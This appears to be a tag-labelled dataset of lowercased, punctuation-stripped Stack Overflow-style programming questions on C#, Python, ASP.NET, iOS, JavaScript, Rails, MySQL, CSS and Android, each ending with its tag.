i run this its show me  conversion failed when converting the varchar value  cat_id  to data type int  plz post the write code,c#
python timers engine  i need to write a python daemon that runs python scripts and send the output of them over tcp to server. each script should be run every n seconds (for example  the first - every 10 seconds  the second - every 3 seconds and the third - every 200 seconds  etc.). when running  the daemon looks for config file that contains paths to scripts and their time delay(shoul i call above seconds like that ). and then this daemon calls scripts in due time.    the question i m asking about is how can i make this simple timer engine  are there any ready solutions     p.s. i have one idea. this idea is something like that:   <ol> <li>initialize start time(time of launching daemon) - start_time</li> <li>make an array of script s time delay - time_delays[]</li> <li> every second do that thing:   <pre><code>now_time = int(datetime.datetime.now().timestamp())  for x in time_delays:      diff = start_time - now_time                   if diff % x == 0:          # good! let s run script file </code></pre></li> </ol>,python
printing an asp.net web site page  i have spent 5 days researching how to print a datalist in a c# visual studio web site.  i can print the datalist in a web project.  it appears that since a site does not have  namespace  as does a project  microsoft just didn t bother making a web site page printable.  i have a rather large web site almost developed  and now it appears a major function of a site is not possible.  i need help!  thanks in advance.    p.s.  it would seem that microsoft would have mentioned this little problem in their literature comparing a project to a site  but they didn t.    <pre><code>&lt;%@ page title=   language= c#  masterpagefile= ~/site.master  autoeventwireup= true   codebehind= pagelinkdetails.aspx.cs  inherits= testdatabase.pagelinkdetails  %&gt;  &lt;%@ register assembly= ajaxcontroltoolkit  namespace= ajaxcontroltoolkit  tagprefix= asp  %&gt; &lt;asp:content id= content1  contentplaceholderid= headcontent  runat= server &gt; &lt;/asp:content&gt; &lt;asp:content id= content2  contentplaceholderid= maincontent  runat= server &gt; &lt;div&gt;     &lt;asp:panel id= pnl1  runat= server &gt;         &lt;asp:sqldatasource runat= server  id= sqldatasource1  connectionstring= &lt;%$ connectionstrings:caribbean %&gt;              selectcommand= select * from [caribbeandirections] where ([recipeid] = @recipeid) &gt;             &lt;selectparameters&gt;                 &lt;asp:querystringparameter name= recipeid  querystringfield= recipeid  type= int32  /&gt;             &lt;/selectparameters&gt;         &lt;/asp:sqldatasource&gt;         &lt;asp:datalist id= datalist1  runat= server  datakeyfield= directionid  datasourceid= sqldatasource1 &gt;             &lt;itemtemplate&gt;                 &lt;asp:label id= namelabel  runat= server  text= &lt;%# eval( name ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;br /&gt;                 ingredients:&lt;br /&gt;                 &lt;asp:label id= ingredientonelabel  runat= server  text= &lt;%# eval( ingredientone ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredienttwolabel  runat= server  text= &lt;%# eval( ingredienttwo ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredientthreelabel  runat= server  text= &lt;%# eval( ingredientthree ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredientfourlabel  runat= server  text= &lt;%# eval( ingredientfour ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredientfivelabel  runat= server  text= &lt;%# eval( ingredientfive ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredientsixlabel  runat= server  text= &lt;%# eval( ingredientsix ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredientsevenlabel  runat= server  text= &lt;%# eval( ingredientseven ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredienteightlabel  runat= server  text= &lt;%# eval( ingredienteight ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredientninelabel  runat= server  text= &lt;%# eval( ingredientnine ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= ingredienttenlabel  runat= server  text= &lt;%# eval( ingredientten ) %&gt;  /&gt;                 &lt;br /&gt;                 directions:&lt;br /&gt;                 &lt;asp:label id= directiononelabel  runat= server  text= &lt;%# eval( directionone ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= directiontwolabel  runat= server  text= &lt;%# eval( directiontwo ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= directionthreelabel  runat= server  text= &lt;%# eval( directionthree ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;asp:label id= directionfourlabel  runat= server  text= &lt;%# eval( directionfour ) %&gt;  /&gt;                 &lt;br /&gt;                 &lt;br /&gt;             &lt;/itemtemplate&gt;         &lt;/asp:datalist&gt;     &lt;/asp:panel&gt;     &lt;asp:button id= btnprintcurrent  runat= server  text= print current page  onclick= printcurrentpage  /&gt;    &lt;/div&gt;    &lt;asp:hyperlink id= hyperlink2  runat= server  navigateurl= &lt;%# bind( recipeid         pagelinkdetails.aspx recipeid={0} ) %&gt;      text= &lt;%# eval( name ) %&gt; &gt;rate this recipe&lt;/asp:hyperlink&gt;   &lt;/asp:content&gt;    using system; using system.data; using system.data.sqlclient; using system.configuration;  using system.collections; using system.web;  using system.web.security;   using system.web.ui;   using system.web.ui.webcontrols;  using system.web.ui.webcontrols.webparts;  using system.web.ui.htmlcontrols;  using system.io;  using system.text;  using system.web.sessionstate;  namespace testdatabase { public partial class pagelinkdetails : system.web.ui.page {     protected void page_load(object sender  eventargs e)     {         response.cache.setcacheability(httpcacheability.nocache);         bindgrid();     }      private void bindgrid()     {         string strquery =  select *   +  from caribbeandirections ;         datatable dt = new datatable();         string strconnstring = system.configuration.configurationmanager                     .connectionstrings[ caribbean ].connectionstring;         sqlconnection con = new sqlconnection(strconnstring);         sqldataadapter sda = new sqldataadapter();         sqlcommand cmd = new sqlcommand(strquery);         cmd.commandtype = commandtype.text;         cmd.connection = con;         try         {             con.open();             sda.selectcommand = cmd;             sda.fill(dt);             //*datalist1.datasource = dt;             datalist1.databind();         }         catch (exception ex)         {             throw ex;         }         finally         {             con.close();             sda.dispose();             con.dispose();         }     }     public override void verifyrenderinginserverform(control control)     {         /*verifies that the control is rendered */     }      protected void onpaging(object sender  pageeventargs e)     {          datalist1.databind();     }      protected void printcurrentpage(object sender  eventargs e)     {          datalist1.databind();         stringwriter sw = new stringwriter();         htmltextwriter hw = new htmltextwriter(sw);         datalist1.rendercontrol(hw);         string gridhtml = sw.tostring().replace( \       )             .replace(system.environment.newline    );         stringbuilder sb = new stringbuilder();         sb.append( &lt;script type =  text/javascript &gt; );         sb.append( window.onload = new function(){ );         sb.append( var printwin = window.open(         left=0 );         sb.append(  top=0 width=1000 height=600 status=0 ); );         sb.append( printwin.document.write(\  );         sb.append(gridhtml);         sb.append( \ ); );         sb.append( printwin.document.close(); );         sb.append( printwin.focus(); );         sb.append( printwin.print(); );         sb.append( printwin.close();}; );         sb.append( &lt;/script&gt; );         clientscript.registerstartupscript(this.gettype()   gridprint   sb.tostring());          datalist1.databind();     }      protected void btnprint_click(object sender  eventargs e)     {         session[ ctrl ] = pnl1;      } } } </code></pre>,asp.net
iphone:what is the version of xcode to use for developing apps for ios 4.2.1   i am having the updated ios 4.2.1 iphone. i want to develop apps for that. i have xcode 3.2.5 version now  but it shows upto only 4.2 device to select  doesn t show 4.2.1. what version of xcode i should use for developing apps for this device  please advise.    thank you.,iphone
why does the compiler warn me of “control reaching end of non-void function”   i have declared a method in animal.h file   <pre><code>-(id)initwithname:(nsstring *)n description:(nsstring *)d url:(nsstring *)u; </code></pre>   and i have implemented this method in animal.m file like   <pre><code>-(id)initwithname:(nsstring *)n description:(nsstring *)d url:(nsstring *)u {     self.name=n;     self.description=d;     self.imageurl=u;  } </code></pre>   but at the end of file it shows warning like  control reaches end of non-void function     can anyone tell me what is the problem,objective-c
how to add tabbar controller in navigation based application  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3761716/uitabbaruitableviewcontroller-in-navigation-based-applications >uitabbar+uitableviewcontroller in navigation based applications</a>    </blockquote>     i am just the beginner in the i-phone development.i am right now working on a navigation based application. after completing half of the code  now i need to add tab bar controller in some of the pages.    i would like to mention that my first/home page contains 6 buttons pressing which different pages are navigated.while the other pages will contain navigation bar at the top table view in the middle and tab bar with 6 tab bar items in the bottom that help to navigate to different pages.i added the tab bar and the items from the library but don t know how to access them.    thing is i googled a lot but did not get a satisfactory solution.can anybody help me out     thanks in advance.,iphone
i m creating a magic 8-ball application and i can t remember how to get the code looping  i m making a magic 8-ball app  and i m just working on the functionality as of now before i start on the graphics. i have pretty much everything working so far  i m just having some issues on how to get the code looping. i m pretty sure i have to use a loop  but i m not sure.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;magic 8 ball&lt;/title&gt; &lt;/head&gt;   &lt;body&gt; &lt;div id =  output &gt;ask a question&lt;/div&gt; &lt;button id =  getresponse &gt;ask a question&lt;/button&gt;  &lt;script&gt; var output = document.queryselector( #output );  var getresponse = document.queryselector( #getresponse ); getresponse.style.cursor =  pointer ; getresponse.addeventlistener( click   clickhandler  false);  var randomoutput = math.floor(math.random() * 26);   var responses = [ it is certain.    without a doubt!    yes  definitely.    absolutely not. ridiculous.    no. how dare you.    you may rely on it.    no. watch your back now  buddy.    as i see it  yes.    most likely.    outlook good.    yes.    this is a terrible question. ask another.    signs point to yes.    you should be ashamed of yourself.    reply hazy. try again.    ask again later.    better not tell you now.    how about this -- trust your intuition!    ask again later.    cannot predict now. they re listening.    concentrate and ask again.    don t count on it  worthless human.    my reply is no.    never. awful. i hate you.    veeeeery doubtful. ];  function clickhandler () { output.innerhtml = responses[randomoutput];  }    &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   when i click the button  i get a response  but when i click it again after that  it doesn t generate a response.,javascript
directive reacting to attribute change  i have a directive  with an attribute :    html :   <pre><code>&lt;my-directive id= test  myattr= 50 &gt;&lt;/my-directive&gt; </code></pre>   js :   <pre><code>myapp.directive( mydirective   function() {      var link = function(scope  element  attrs) {          scope.$watch( myattr   function(value) {             element.attr( myattr   value);         });          scope.change = function() {             // some code         };     };      return {         restrict:  e           template:  &lt;input type= text  ng-change= change()  ng-model= myattr /&gt;           scope: {myattr:  = }          link: link     }; }); </code></pre>   my goal would be to keep <code>myattr</code> and the value of the input equal. with <code>element.attr( myattr   value)</code> i can force <code>myattr</code> to have the correct value  but how am i supposed to update the input when <code>myattr</code> changes     for example  in this <a href= http://jsfiddle.net/d7ujcjb8/2/  rel= nofollow >jsfiddle</a>  when clicking on the button  i try to do :   <pre><code>$( #test ).attr( myattr   math.random() * 100); </code></pre>   but i can t find a way to  catch  the change from within the directive.    i would like some help modifying the jsfiddle so that :   <ol> <li>the function <code>change</code> is called after the jquery call.</li> <li>the value of the input is always equal to <code>myattr</code></li> </ol>,angularjs
c simple calculator  getting rid of useless lines  the calculator program was an assignment for my c introduction web class.    how would i better include this section: (currently included in every else if statement)   <pre><code>                printf( \nsyötä ensimmäinen luku: );                 scanf( %d   &amp;ekaluku);                  printf( syötä toinen luku: );                 scanf( %d   &amp;tokaluku); </code></pre>   in the code without changing <a href= https://i.stack.imgur.com/rzmx0.jpg)  rel= nofollow noreferrer >output</a>     source code:   <pre><code>#include &lt;stdio.h&gt;  int laskesumma(int a  int b); int laskeerotus(int a  int b); int lasketulo(int a  int b);  int main(void)   {     int valinta  ekaluku  tokaluku;      do {          printf( 1: kahden luvun summa\n2: kahden luvun erotus\n3: kahden luvun tulo\n&lt;0: ohjelman lopetus\n\nvalitse laskutoimitus: );         scanf( %d   &amp;valinta);           if (valinta &lt; 0)         { printf( ohjelma lopetetaan...\n\n ); }          else if (valinta == 1)         {                printf( \nsyötä ensimmäinen luku: );             scanf( %d   &amp;ekaluku);              printf( syötä toinen luku: );             scanf( %d   &amp;tokaluku);              printf( %d + %d = %d\n\n   ekaluku  tokaluku  laskesumma(ekaluku tokaluku));            }          else if (valinta == 2)         {              printf( \nsyötä ensimmäinen luku: );             scanf( %d   &amp;ekaluku);              printf( syötä toinen luku: );             scanf( %d   &amp;tokaluku);              printf( %d - %d = %d\n\n   ekaluku  tokaluku  laskeerotus(ekaluku tokaluku));           }          else if (valinta == 3)         {               printf( \nsyötä ensimmäinen luku: );             scanf( %d   &amp;ekaluku);              printf( syötä toinen luku: );             scanf( %d   &amp;tokaluku);              printf( %d * %d = %d\n\n   ekaluku  tokaluku  lasketulo(ekaluku tokaluku));           }          else          { printf( antamasi luku ei kelpaa.\n ); }      } while (valinta&gt;0);      return 0; }  //addition int laskesumma(int a  int b) {     int tulos;     tulos = a+b;     return tulos; }  //subtraction int laskeerotus(int a  int b) {     int tulos;      tulos = a-b;     return tulos; }     //multiplication int lasketulo(int a  int b) {     int tulos;      tulos = a*b;     return tulos;  } </code></pre>   is there anything else i could fix for better readability or decreasing the size of the program,c
rails update model without edit  i am trying to update something from my view. the fact is for this model  the only field updatable is a boolean that goes from true to false and vice-versa.    that s why i don t want to go through a form in a edit view/controller method.    here s my button :   <pre><code> link_to  disable   mymodel_path(id: @something.id)  method: :put  # i checked  the id is the right one </code></pre>   and here s the controller method i want to go through   <pre><code># in mymodel def update    m = mymodel.find(params[:id])     m.update(booleanfield: !m.booleanfield)     render nothing: true end </code></pre>   also in route i did something like this :   <pre><code>resources :mymodels   # with plural </code></pre>   right now i am having an error that says bad route... i think the problem comes from the path of my link_to in my view.   <pre><code>no route matches [put]  /mymodels  </code></pre>   what i m trying to do is to go through the update controller method and stay in the same page (that i ll reload with some js with onclick) so i can update my model without giving some troubles to my users.    any help   :)    edit : here s the rake routes :   <pre><code>           mymodels get    /mymodels(.:format)                                     mymodels#index                     post   /mymodels(.:format)                                     mymodels#create         new_mymodel get    /mymodels/new(.:format)                                 mymodels#new        edit_mymodel get    /mymodels/:id/edit(.:format)                            mymodels#edit             mymodel get    /mymodels/:id(.:format)                                 mymodels#show                     patch  /mymodels/:id(.:format)                                 mymodels#update                     put    /mymodels/:id(.:format)                                 mymodels#update                     delete /mymodels/:id(.:format)                                 mymodels#destroy </code></pre>   (i checked the plurality twice ;) ),ruby-on-rails
why i have use path on scanner   why i can just use the string adress  like <code> c:/users/clebo/ideaprojects/test/status.txt </code>. why i have show it in path  like:   <pre><code>path path = paths.get ( c:/users/clebo/ideaprojects/test/status.txt ). </code></pre>   if i write <code>system.out.println ( c:/users/clebo/ideaprojects/test/status.txt )</code> it will be the same thing if i  write:   <pre><code>system.out.println(path); </code></pre>   what the different,java
componentsseparatedbycharactersinset gives me a bunch of empty strings  ok  first and foremost  i am using gnustep as a way to learn objective-c  so there may be some differences between the gnu and the apple implementation. that being said  it shouldn t affect my question.    anyways  to understand my conundrum  please parse the following code into your visual receptacles:   <pre><code>#import &lt;cocoa/cocoa.h&gt; int main() {   nsautoreleasepool * pool = [[nsautoreleasepool alloc] init];   nsenumerator * lineenumerator = [[nsarray arraywithobjects: @ jim     1   @ steve   3   nil] objectenumerator];   nsstring * s;   while((s = [lineenumerator nextobject]))   {     nsarray * parts = [s componentsseparatedbycharactersinset: [nscharacterset whitespaceandnewlinecharacterset]];     nslog(@ %@   parts);   }   [pool drain];   return no; } </code></pre>   and the following output:   <pre><code>2010-10-07 10:03:50.809 a.out[24512] (jim                  1) 2010-10-07 10:03:50.812 a.out[24512] (steve          3) </code></pre>   my expected output would be:   <pre><code>2010-10-07 10:03:50.809 a.out[24512] (jim  1) 2010-10-07 10:03:50.812 a.out[24512] (steve  3) </code></pre>   but the componentsseparatedbycharactersinset seems to be the only method that comes close to what i am looking for (by the way  i want to be prepared for any mixture of spaces  tabs  or other whitespace characters). is there an easy way to do this with the standard libraries without writing a new method,objective-c
mysql server not starting  mysql server is not starting after my machine was switched off without proper shut down. it showed the following message.   <pre><code>mysql daemon failed to start. starting mysqld:                                           [failed] </code></pre>   the log file contains the following. what is the root cause of the problem  how to recover from it    <pre><code>131121 14:06:54 mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended 131121 14:11:41 mysqld_safe starting mysqld daemon with databases from /var/lib/mysql 131121 14:11:42  innodb: initializing buffer pool  size = 8.0m 131121 14:11:42  innodb: completed initialization of buffer pool innodb: log scan progressed past the checkpoint lsn 17 3015197486 131121 14:11:42  innodb: database was not shut down normally! innodb: starting crash recovery. innodb: reading tablespace information from the .ibd files... innodb: restoring possible half-written data pages from the doublewrite innodb: buffer... innodb: error: tried to read 1048576 bytes at offset 0 1048576. innodb: was only able to read 45056. innodb: fatal error: cannot read from file. os error number 17. 131121 14:11:55  innodb: assertion failure in thread 139714140956640 in file os/os0file.c line 2299 innodb: we intentionally generate a memory trap. innodb: submit a detailed bug report to http://bugs.mysql.com. innodb: if you get repeated assertion failures or crashes  even innodb: immediately after the mysqld startup  there may be innodb: corruption in the innodb tablespace. please refer to innodb: http://dev.mysql.com/doc/refman/5.1/en/forcing-innodb-recovery.html innodb: about forcing recovery. 08:41:55 utc - mysqld got signal 6 ; this could be because you hit a bug. it is also possible that this binary or one of the libraries it was linked against is corrupt  improperly built  or misconfigured. this error can also be caused by malfunctioning hardware. we will try our best to scrape up some info that will hopefully help diagnose the problem  but since we have already crashed   something is definitely wrong and this may fail.  key_buffer_size=8384512 read_buffer_size=131072 max_used_connections=0 max_threads=151 thread_count=0 connection_count=0 it is possible that mysqld could use up to  key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 338324 k  bytes of memory hope that s ok; if not  decrease some variables in the equation.  thread pointer: 0x0 attempting backtrace. you can use the following information to find out where mysqld died. if you see no messages after this  something went terribly wrong... stack_bottom = 0 thread_stack 0x40000 /usr/libexec/mysqld(my_print_stacktrace+0x29) [0x84c049] /usr/libexec/mysqld(handle_fatal_signal+0x483) [0x6a0fa3] /lib64/libpthread.so.0() [0x35d960f500] /lib64/libc.so.6(gsignal+0x35) [0x35d8e328a5] /lib64/libc.so.6(abort+0x175) [0x35d8e34085] /usr/libexec/mysqld(os_aio_simulated_handle+0) [0x78fdb0] /usr/libexec/mysqld(fil_io+0x1eb) [0x763a6b] /usr/libexec/mysqld(trx_sys_doublewrite_init_or_restore_pages+0x194) [0x7d3b84] /usr/libexec/mysqld(recv_scan_log_recs+0x524) [0x786ad4] /usr/libexec/mysqld() [0x78743a] /usr/libexec/mysqld(recv_recovery_from_checkpoint_start+0x566) [0x787ca6] /usr/libexec/mysqld(innobase_start_or_create_for_mysql+0x11e7) [0x7c3c17] /usr/libexec/mysqld() [0x72bacb] /usr/libexec/mysqld(ha_initialize_handlerton(st_plugin_int*)+0x31) [0x694bd1] /usr/libexec/mysqld() [0x713b7b] /usr/libexec/mysqld(plugin_init(int*  char**  int)+0x6e4) [0x715e74] /usr/libexec/mysqld() [0x5bd752] /usr/libexec/mysqld(main+0x1b3) [0x5c0033] /lib64/libc.so.6(__libc_start_main+0xfd) [0x35d8e1ecdd] /usr/libexec/mysqld() [0x508ac9] the manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains information that should help you find out what is causing the crash. 131121 14:11:55 mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended </code></pre>,mysql
java kinds of type and null reference  in <a href= http://docs.oracle.com/javase/specs/jls/se7/html/jls-4.html#jls-4.1  rel= nofollow >jls-4.1</a> it s said that   <blockquote>    there are two kinds of types in the java programming language: primitive types (§4.2) and reference types (§4.3)  </blockquote>   and   <blockquote>    there is also a special null type  </blockquote>   so basically <code>null</code> type is neither primitive nor reference type.     but why can it hold the reference and <code>can always undergo a widening reference conversion to any reference type</code> if it s not considered a reference type      or it is some kind of reference type in the end  can it be considered as reference type     so  what s the answer to the question - <code>is [null] a reference type or not</code> - should be  <code>yes</code> or <code>no</code>,java
where do i have to put image files to load them programmatically in iphone apps   i have placed my images in xcode groups&amp;files  in this location:    <strong>ressources/img/</strong>    but now i look at the uicatalog xcode project from apple  and they put all images here:    <strong>images/</strong>    it seems like interface builder has no problem finding them  but as soon as i try that programmatically  all attempts fail.,iphone
sort data from mysql database by hour  i have users in db that i want to sort by hour and display count of users registered at that hour.   <pre><code>select   date_format(create_time   %y-%m-%d %h%p ) as date    count(id) as  number of registrations  from users group by 1 order by 1 desc ; </code></pre>   the above code will work; however  what i am trying to do is display 0 s for the hours that have no user registrations. for example  if there were no registrations at 5pm  this will skip row for 5pm  which is logical. is there a way to achieve what i am trying,mysql
positioning of controls within div  i have a set of controls that will show/hide when the user clicks a button. the controls consist of a grid  2 labels  a dropdown  a text box and another button. i would like to position them as follows:    <img src= https://i.stack.imgur.com/w6i5w.png  alt= enter image description here >    i have the grid positioned correctly but the dropdown and textbox controls are to the left but below the grid.  the button is not centered. how can i position the div with the controls to be positioned beside the grid and the button to display in the center but at the bottom of the main panel     this is my makeup:   <pre><code> &lt;asp:button id= btnshowmappingpanel  runat= server  text= update value(s) in multiple mappings  width= 325px  /&gt;              &lt;asp:panel id= pnlmultiplemappingcontrols  runat= server  height= 300px  width= 1000px  style= display:none;  backcolor= white  bordercolor= black  borderstyle= solid  borderwidth= 1px &gt;                 &lt;div id= divmultimapgrid  style= margin: 25px; width:45% &gt;                  &lt;asp:gridview id= msmgvmultimappingselection  runat= server  allowpaging= true  pagesize= 4  allowsorting= true  autogeneratecolumns= false  caption= select multiple mappings to update                           captionalign= top  cssclass= grid  visible= true &gt;                         &lt;columns&gt;                             &lt;asp:templatefield headertext= select &gt;                                 &lt;edititemtemplate&gt;                                     &lt;asp:checkbox id= msmgvckboxeditselect  runat= server  /&gt;                                 &lt;/edititemtemplate&gt;                                 &lt;itemtemplate&gt;                                     &lt;asp:checkbox id= msmgvckboxselect  runat= server  /&gt;                                 &lt;/itemtemplate&gt;                             &lt;/asp:templatefield&gt;                             &lt;asp:templatefield headertext= mapping id &gt;                                                   &lt;itemtemplate&gt;                                     &lt;asp:label id= msmgvlblmappingid  runat= server  text= &lt;%# bind( enrollmentmappingid ) %&gt; &gt;&lt;/asp:label&gt;                                 &lt;/itemtemplate&gt;                             &lt;/asp:templatefield&gt;                             &lt;asp:templatefield headertext= schoology course id &gt;                                 &lt;itemtemplate&gt;                                     &lt;asp:label id= msmgvlblschoologycourseid  runat= server  text= &lt;%# bind( schoologycourseid ) %&gt; &gt;&lt;/asp:label&gt;                                 &lt;/itemtemplate&gt;                             &lt;/asp:templatefield&gt;                             &lt;asp:templatefield headertext= ce city activity id &gt;                                             &lt;itemtemplate&gt;                                     &lt;asp:label id= msmgvlblcecityactivityid  runat= server   text= &lt;%# bind( cecityactivityid ) %&gt; &gt;&lt;/asp:label&gt;                                 &lt;/itemtemplate&gt;                             &lt;/asp:templatefield&gt;                         &lt;/columns&gt;                     &lt;/asp:gridview&gt;                  &lt;/div&gt;                  &lt;div id= divmultimapcontrols  style= float:right; width:45%; padding:5px &gt;                     &lt;div id= divmultimapactivectrl  style= padding:10px &gt;                         &lt;asp:label id= lblactive   runat= server  text= is active:   cssclass= label &gt;&lt;/asp:label&gt;                         &lt;asp:dropdownlist id= ddlactiveoptions  runat= server &gt;                             &lt;asp:listitem&gt; &lt;/asp:listitem&gt;                             &lt;asp:listitem&gt;yes&lt;/asp:listitem&gt;                             &lt;asp:listitem&gt;no&lt;/asp:listitem&gt;                         &lt;/asp:dropdownlist&gt;                     &lt;/div&gt;                      &lt;div id= divmultimapmaxenrollctrl   style= padding:10px &gt;                         &lt;asp:label id= lblmaxenrollment  runat= server  text= maximum enrollment:   cssclass= label &gt;&lt;/asp:label&gt;                         &lt;asp:textbox id= txtboxmapenroll  runat= server  width= 25% &gt;&lt;/asp:textbox&gt;                         &lt;asp:regularexpressionvalidator id= regularexpressionvalidator1  controltovalidate= txtboxmapenroll  runat= server                                                errormessage= enter only integers.  validationgroup= multimapeditmappingvalidation  validationexpression= ^\d+$                                                display= dynamic  cssclass= message-error &gt;                         &lt;/asp:regularexpressionvalidator&gt;                     &lt;/div&gt;                 &lt;/div&gt;                 &lt;div id= divmultimapupdatebtn &gt;                 &lt;asp:button id= btnupdateselectedmappings  runat= server  text= update selected mappings  width= 200px  causesvalidation= true                       validationgroup= multimapeditmappingvalidation  onclick= btnupdateselectedmappings_click  /&gt;                  &lt;/div&gt;              &lt;/asp:panel&gt; </code></pre>   <strong>as requested this is the jsfiddle</strong>   <pre><code>&lt;panel&gt; &lt;div id= divmultimapgrid  style= margin: 25px; width:45% &gt;grid is here&lt;/div&gt; &lt;div id= divmultimapcontrols  style= float:right; width:45%; padding:5px &gt;controls are here &lt;div id= divmultimapactivectrl  style= padding:10px &gt;dropdown control&lt;/div&gt; &lt;div id= divmultimapmaxenrollctrl   style= padding:10px &gt;text box control&lt;/div&gt;     &lt;/div&gt; &lt;div id= divmultimapupdatebtn &gt;button&lt;/div&gt; </code></pre>,css
disabling a link in ng-repeat list  i have used <code>ng-repeat</code> to display a set of values as hyperlink which further opens related data in very next div. now when i click on the link  after loading data in respective div  how can i disable the clicked link,angularjs
my android app is automatically force closing  i have created an android app for testing admob ads but when i run it  it force closes.  my mainactivity:-   <pre><code>package com.dibdev.bmicalculator;  import android.app.activity; import android.os.bundle; import android.view.menu; import android.view.menuitem;  public class bmi_calculator extends activity {  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_bmi__calculator); }} </code></pre>   my manifest. i do not think there is any error here.... :-    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android  package= com.dibdev.bmicalculator  android:versioncode= 1  android:versionname= 1.0  &gt;  &lt;uses-sdk     android:minsdkversion= 9      android:targetsdkversion= 21  /&gt;  &lt;application     android:allowbackup= true      android:icon= @drawable/ic_launcher      android:label= @string/app_name      android:theme= @style/apptheme  &gt;     &lt;uses-permission android:name= android.permission.internet  /&gt;     &lt;uses-permission android:name= android.permission.access_network_state  /&gt;      &lt;activity         android:name= .bmi_calculator          android:label= @string/app_name  &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.main  /&gt;              &lt;category android:name= android.intent.category.launcher  /&gt;         &lt;/intent-filter&gt;          &lt;activity             android:name= com.google.android.gms.ads.adactivity              android:configchanges= keyboard|keyboardhidden|orientation|screenlayout|uimode|screensize|smallestscreensize              android:theme= @android:style/theme.translucent  /&gt;     &lt;/activity&gt; &lt;/application&gt; </code></pre>       my layout file. i have included xmlns...... in com.google...... is it correct    <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  android:layout_width= match_parent  android:layout_height= match_parent  android:paddingbottom= @dimen/activity_vertical_margin  android:paddingleft= @dimen/activity_horizontal_margin  android:paddingright= @dimen/activity_horizontal_margin  android:paddingtop= @dimen/activity_vertical_margin  tools:context= com.dibdev.bmicalculator.bmi_calculator  &gt;  &lt;com.google.android.gms.ads.adview     xmlns:android= http://schemas.android.com/apk/res/android      xmlns:ads= http://schemas.android.com/apk/lib/com.google.ads      android:layout_width= match_parent      android:layout_height= wrap_content      ads:adsize= banner      ads:adunitid= sample      ads:startoncreate= true  &gt; &lt;/com.google.android.gms.ads.adview&gt; </code></pre>       my logcat :-   <pre><code>11-08 14:37:58.161: i/system.out(25610): sending wait chunk 11-08 14:37:58.161: w/activitythread(25610): application com.dibdev.bmicalculator is waiting for the debugger on port 8100... 11-08 14:37:58.176: i/dalvikvm(25610): debugger is active 11-08 14:37:58.361: i/system.out(25610): debugger has connected 11-08 14:37:58.456: i/system.out(25610): waiting for debugger to settle... 11-08 14:37:58.656: i/system.out(25610): waiting for debugger to settle... 11-08 14:37:58.856: i/system.out(25610): waiting for debugger to settle... 11-08 14:37:59.056: i/system.out(25610): waiting for debugger to settle... 11-08 14:37:59.256: i/system.out(25610): waiting for debugger to settle... 11-08 14:37:59.456: i/system.out(25610): waiting for debugger to settle... 11-08 14:37:59.661: i/system.out(25610): debugger has settled (1310) 11-08 14:37:59.681: e/dalvikvm(25610): dvmpausegc(applaunch) called - cookie=0x47d7 (f=0x1) 11-08 14:37:59.691: i/personamanager(25610): getpersonaservice() name persona_policy 11-08 14:37:59.741: d/skia(25610): gfxpng png bitmap created width:48 height:48 bitmap id is 180  11-08 14:37:59.751: d/skia(25610): gfxpng png bitmap created width:72 height:72 bitmap id is 181  11-08 14:37:59.766: d/skia(25610): gfxpng png bitmap created width:72 height:72 bitmap id is 182  11-08 14:37:59.781: d/skia(25610): gfxpng png bitmap created width:13 height:41 bitmap id is 183  11-08 14:37:59.786: d/skia(25610): gfxpng png bitmap created width:18 height:18 bitmap id is 184  11-08 14:37:59.791: d/skia(25610): gfxpng png bitmap created width:18 height:18 bitmap id is 185  11-08 14:37:59.801: d/skia(25610): gfxpng png bitmap created width:18 height:18 bitmap id is 186  11-08 14:37:59.836: e/moreinfohpw_viewgroup(25610): parent view is not a textview 11-08 14:37:59.861: d/skia(25610): gfxpng png bitmap created width:72 height:72 bitmap id is 187  11-08 14:37:59.871: d/skia(25610): gfxpng png bitmap created width:72 height:72 bitmap id is 188  11-08 14:37:59.881: d/skia(25610): gfxpng png bitmap created width:72 height:72 bitmap id is 189  11-08 14:37:59.911: w/dalvikvm(25610): vfy: unable to resolve static field 1355 (adsattrs) in lcom/google/android/gms/r$styleable; 11-08 14:37:59.911: d/dalvikvm(25610): vfy: replacing opcode 0x62 at 0x0009 11-08 14:37:59.916: i/dalvikvm(25610): dexopt: unable to optimize static field ref 0x054c at 0x0f in lcom/google/android/gms/internal/bb;.&lt;init&gt; 11-08 14:37:59.916: i/dalvikvm(25610): dexopt: unable to optimize static field ref 0x054d at 0x15 in lcom/google/android/gms/internal/bb;.&lt;init&gt; 11-08 14:37:59.921: i/dalvikvm(25610): dexopt: unable to optimize static field ref 0x054e at 0x32 in lcom/google/android/gms/internal/bb;.&lt;init&gt; 11-08 14:38:00.911: d/dalvikvm(25610): threadid=1: still suspended after undo (sc=1 dc=1) </code></pre>,android
